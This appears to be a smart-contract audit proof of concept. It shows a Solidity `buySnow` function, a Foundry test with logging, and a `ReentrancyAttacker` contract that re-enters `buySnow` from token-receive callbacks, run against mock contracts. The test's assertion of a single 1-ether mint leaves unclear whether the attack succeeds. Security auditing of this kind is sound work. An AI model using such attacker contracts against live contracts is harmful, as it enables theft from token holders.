function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
@> _mint(msg.sender, amount);
}
s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}
function testReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(snow), address(weth));
uint256 buyFee = snow.s_buyFee();
console2.log("Buy fee from contract:", buyFee);
uint256 costPerToken = buyFee * 1 ether;
uint256 totalWethNeeded = costPerToken * 4;
weth.mint(address(attacker), totalWethNeeded);
console2.log("WETH balance of attacker:", weth.balanceOf(address(attacker)));
console2.log("Cost per 1 ether of tokens:", costPerToken);
console2.log("Total WETH needed:", totalWethNeeded);
uint256 balanceBefore = snow.balanceOf(address(attacker));
console2.log("Snow balance before attack:", balanceBefore);
attacker.attack(1 ether);
uint256 balanceAfter = snow.balanceOf(address(attacker));
console2.log("Snow balance after attack:", balanceAfter);
console2.log("Tokens minted:", balanceAfter - balanceBefore);
console2.log("Should have minted: 1 ether");
assertEq(balanceAfter, balanceBefore + 1 ether);
}
contract ReentrancyAttacker {
Snow public snowContract;
MockWETH public weth;
uint256 public attackCount;
uint256 constant MAX_ATTACKS = 3;
bool public attacking;
constructor(address _snow, address _weth) {
snowContract = Snow(_snow);
weth = MockWETH(_weth);
}
function attack(uint256 amount) external {
weth.approve(address(snowContract), type(uint256).max);
attacking = true;
attackCount = 0;
snowContract.buySnow(amount);
attacking = false;
}
function tokensReceived(
address,
address,
address,
uint256,
bytes calldata,
bytes calldata
) external {
if (attacking && attackCount < MAX_ATTACKS) {
attackCount++;
snowContract.buySnow(1 ether);
}
}
function onTransferReceived() external returns (bool) {
if (attacking && attackCount < MAX_ATTACKS) {
attackCount++;
snowContract.buySnow(1 ether);
}
return true;
}
receive() external payable {}
}